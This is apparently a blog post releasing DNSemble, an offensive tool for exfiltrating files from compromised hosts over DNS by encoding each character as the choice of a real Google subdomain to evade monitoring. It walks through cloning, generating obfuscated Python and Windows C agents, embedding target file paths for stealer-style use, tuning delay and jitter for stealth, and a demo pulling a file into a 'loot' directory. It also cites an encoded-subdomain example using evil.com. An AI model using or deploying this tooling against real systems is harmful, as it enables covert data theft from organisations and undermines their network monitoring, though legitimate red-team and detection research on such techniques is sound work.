DNSemble exfiltration session

In the past few months, I was working on a new project that solves a problem I keep running into some recent engagements when I needed to pull a file out of a compromised host over a channel that doesn’t look like exfiltration, and DNS was the only thing guaranteed to flow.

The classic way to do this is to encode your data into subdomains - c3VwZXJzZWNyZXQ.evil.com - but any DNS monitor worth its salt will flag high-entropy labels or a flood of queries to a domain nobody has ever heard of.

So I took a different approach, and after some work I’m glad to release DNSemble.

What is DNSemble?

DNSemble is an open-source tool used to help Pentesters/RedTeamers exfiltrate data using DNS by encoding data in the choice of queried domain instead of the domain contents.

DNSemble runs a DNS server on your side and generates a custom agent for you - written in Python or C - that reads a target file and resolves a sequence of well-known domains, one DNS query per character. Every query is a legitimate lookup for a real domain like maps.google.com, and DNSemble forwards it upstream so the agent receives the real IP address in return.

The mapping between characters and domains is randomized for every session using a 32-bit seed negotiated at session start, so the same file produces a completely different query pattern every time you run the agent:

  • Session 1: 'S' -> maps.google.com
  • Session 2: 'S' -> firebase.google.com
  • Session 3: 'S' -> colab.google.com

So as we see, there is no encoded payload in any subdomain and no crafted DNS response. The domain is the data.

DNSemble key features

  • Exfiltrate data using the choice of queried domain - no encoded subdomains, no unusual records.
  • Every DNS query is forwarded upstream and returns the real answer.
  • Dynamic per-session mapping - a Fisher-Yates shuffle driven by xorshift32, identical on both sides, seeded fresh per session.
  • 98 Google subdomains as the default domain pool, and you can bring your own list with --domains to match with the targeted enterprise domains.
  • A pure agent written in Python with base64 obfuscation and the ability to customise it.
  • A pure agent written in C for Windows targets with MinGW cross-compilation and the ability to customise it.
  • The ability to embed target file paths directly into the agent.
  • Configurable delay and jitter between each DNS request.
  • Multi-client multiplexing through the DNS transaction ID (up to 255 concurrent transfers).
  • Server-side session limits, idle-session expiry, and incomplete-transfer detection, so a lost packet never silently passes as a good one.
  • A documented wire protocol with cross-language conformance tests.

Why use DNSemble?

DNSemble fits anywhere you have code execution on a host but DNS is the only channel available for getting data out. You can use it to pull a single sensitive file, deploy it as a stealer that quietly reads and exfiltrates target data, or embed multiple file paths into the agent to trigger a batch of reads and exfiltrations over one DNS channel, all while the traffic looks like ordinary resolver chatter that fills every network anyway.

Because every query resolves a real domain through a real resolver, there are no odd record types and no suspicious name servers to explain. And because the agents are just templates you control, you can customize them for your operation as you wish.

The one thing that stands out is the use of a custom DNS server rather than the one configured on the endpoint, but that is something many enterprises still do not properly monitor or enforce.

DNSemble Installation

To install DNSemble you need to clone it first from the official repo using the following command:

git clone https://github.com/mhaskar/DNSemble

Please note that you need Python3 in order to run DNSemble, and there is nothing else to install - DNSemble uses only the Python standard library.

To compile the Windows C agent, you need to install mingw-w64 using the following command:

apt install mingw-w64

And after that, you are ready to start DNSemble using the following command:

askar•/opt/redteaming/DNSemble(main⚡)» python3 DNSemble.py


    ____  _   _____                 __    __
   / __ \/ | / / ___/___  ____ ___  / /_  / /__
  / / / /  |/ /\__ \/ _ \/ __ `__ \/ __ \/ / _ \
 / /_/ / /|  /___/ /  __/ / / / / /_/ / /  __/
/_____/_/ |_//____/\___/_/ /_/ /_/_.___/_/\___/

  DNS Exfiltration Framework  ·  v1.0
  The domain IS the data.  Dynamic mapping.

  Listen addr    0.0.0.0:5353
  Upstream DNS   8.8.8.8:53
  Loot dir       ./loot/
  Ctrl domain    googleapis.com
  Domain pool    98 domains  (mapping randomised per session)
  Sessions       max 64, expire after 300s

[READY] Waiting for exfiltration sessions …

You are good to go now!

Connectivity setup

The agent talks to your DNSemble server directly on its UDP port, so you have two ways to deploy it:

  • Direct connection: the target can reach --host : --port. Simple and common when you own a hop on the target’s network.

  • DNS redirection: point the target’s resolver at your DNSemble instance (or redirect its port 53 traffic to it). The target’s normal resolver traffic flows through DNSemble and is forwarded upstream like any other query.

In both modes the server needs outbound UDP/53 access to a real resolver so the answers stay legitimate.

DNSemble Options

We can check DNSemble options using the switch -h like the following:

askar•/opt/redteaming/DNSemble(main⚡)» python3 DNSemble.py -h
usage: DNSemble.py [-h] [--payloads] [--payload TYPE] [--host IP] [-a {x64,x86}]
                   [--jitter JITTER] [--delay DELAY] [-o FILE] [--files LIST]
                   [--domains FILE] [--serve] [-p PORT] [-u UPSTREAM]
                   [-l LOOT_DIR] [--session-timeout SESSION_TIMEOUT]
                   [--max-sessions MAX_SESSIONS] [--verbose] [--show-content]

DNSemble - DNS exfiltration framework

payload generation:
  --payload TYPE        Generate a payload (name or number from --payloads)
  --host IP             Public IP/hostname the agent will connect to
  --delay DELAY         Delay in ms between queries baked into the agent (default 100)
  --jitter JITTER       Jitter in ms baked into the agent (default 50)
  --files LIST          Text file with target paths to embed (one per line)
  ...

server mode:
  --serve               Start the DNS listener after generating a payload
  -p PORT, --port PORT  UDP listen port, 1-65535 (default 5353)
  -u UPSTREAM, --upstream UPSTREAM
                        Upstream DNS resolver (default 8.8.8.8)
  -l LOOT_DIR, --loot-dir LOOT_DIR
                        Directory to save exfiltrated files (default ./loot)
  --verbose             Log every DNS query while a transfer runs
  • –host: the public IP (or hostname) of the machine running DNSemble. This is baked into the generated agent. The Windows C agent needs a dotted IPv4 address here.
  • –payload: the DNSemble payload “agent” you want to generate.
  • –delay / –jitter: the delay between each DNS request in milliseconds and the random ± jitter added to it. This is your traffic-shaping knob.
  • –files: a text file with target paths to embed into the agent, so it exfiltrates them automatically on execution.
  • –domains: bring your own domain pool (exactly 98 names).
  • –serve: generate an agent and then start the listener in one go. Generation and serving are otherwise independent.
  • -p/–port: the UDP port the server listens on (default 5353, use 53 with root).
  • -l/–loot-dir: where exfiltrated files are saved. Existing loot files are never overwritten.
  • –verbose: opt-in logging. By default the server only logs session lifecycle events, not every query and not your stolen content.

DNSemble payloads

You can check the available payloads using the --payloads option:

askar•/opt/redteaming/DNSemble(main⚡)» python3 DNSemble.py --payloads

[+] 2 DNSemble payloads Available

  #  Payload                Description
  ─  ─────────────────────  ───────────────────────────────────────────────────────
  1  generic/python         Hardcoded domain list - 1 setup query (session negotiation only)
  2  windows/c              Hardcoded domain list - 1 setup query (session negotiation only)

DNSemble usage example

Now let’s use DNSemble to exfiltrate a file from a target machine.

First, I generate a Python agent pointed at my server with a small delay for the demo:

askar•/opt/redteaming/DNSemble(main⚡)» python3 DNSemble.py --payload 1 --host 10.0.0.1 --delay 5 --jitter 2

════════════════════════════════════════════════════════════
  PAYLOAD GENERATED
════════════════════════════════════════════════════════════
  Type       generic/python (Python 3 Agent)
  Server     10.0.0.1:5353
  Delay      5ms
  Jitter     ±2ms
  Domains    98 (baked into agent)
  Output     dnssemble_agent_10_0_0_1_5353.py
  Encoding   base64 + exec()
  Size       8480 bytes
════════════════════════════════════════════════════════════

  Deploy on target and run:
    python3 dnssemble_agent_10_0_0_1_5353.py /etc/passwd

Notice that generation doesn’t start anything on my side - generating and serving are now two independent workflows, and --serve is the explicit opt-in if you want both.

On the target, I run the agent with the file I want:

www-target@web01:~$ python3 dnssemble_agent_10_0_0_1_5353.py /var/www/notes.txt

And back on my server, with --verbose, I can watch the transfer rebuild itself character by character:

[INIT] Client #143 from 10.9.8.7  seed=0x5B979028  →  mapping generated
[HOST] Client #143 | "b189d9e38553"  ← opensource.google.com (AAAA)
[HOST] Client #143 | hostname complete: "b189d9e38553"  (12 queries)
[FILE] Client #143 | "notes.txt"  ← wear.google.com (MX)
[FILE] Client #143 | filename complete: "notes.txt"  (9 queries)
[DATA] Client #143 | "CVSS:3.1/AV:N"  ← console.google.com (A)

To any network monitor this is just a host resolving Google properties. Each domain choice is one character, positioned by the transaction ID, and the server assembles the file as it arrives.

When the last control query lands, the server saves the loot:

════════════════════════════════════════════════════════════
  EXFILTRATION COMPLETE
════════════════════════════════════════════════════════════
  Client ID   #143
  Source IP   10.9.8.7
  Hostname    b189d9e38553
  Filename    notes.txt
  Size        44 chars
  DNS queries 69
  Seed        0x5B979028
────────────────────────────────────────════════════════════
  Saved to    ./loot/b189d9e38553_notes.txt
════════════════════════════════════════════════════════════

And the file is on disk, byte for byte:

askar•/opt/redteaming/DNSemble(main⚡)» cat loot/b189d9e38553_notes.txt
CVSS:3.1/AV:N/AC:L - internal report draft v2

Observation

DNSemble sends one DNS query per character, so the cost of a transfer is proportional to the file size. A 44-character file cost 69 queries in the demo above - 12 for the hostname, 9 for the filename, 44 for the content, and 4 control queries for session negotiation and phase transitions.

A few honest numbers to plan with:

  • The protocol carries 98 characters (printable ASCII plus \n, \t, \r) - binary files are not supported.
  • Content is capped at 64,768 characters per file, and names at 256 characters.
  • A lost UDP packet corrupts everything after it in that 256-character chunk; the server detects the gap and saves the file with an .incomplete suffix instead of pretending it succeeded. There is no retransmission - you simply re-run the agent.

And while every individual query looks like a normal lookup, the pattern of hundreds of lookups to Google properties from one host is still observable. Tune --delay and --jitter, keep files small, and match the domain pool to your target environment.

Agent customizing

You can modify both agents as you wish - the source lives in the templates folder inside the DNSemble main folder. The Python agent is a single self-contained script (obfuscated with base64 at generation time), and the C agent compiles with MinGW for both x64 and x86 through -a.

If you implement your own transport on top of it, the full wire protocol - transaction ID layout, control codes, PRNG, and limits - is specified in docs/PROTOCOL.md, and the test suite verifies both bundled implementations against it.

Final Words

DNSemble is now at v1.0 with a hardened server (session limits, expiry, collision handling, bounded DNS parsing), I tried to make the tool stable and honest about what it can and cannot do, I have a few pending ideas/features that I want to add, but decided to release this version first and build on top of it.

You can get the latest version of DNSemble from the official Github repository.

If you noticed any bugs or problems while using DNSemble and you have the fix, feel free to open a PR directly to the main Github Repo for DNSemble.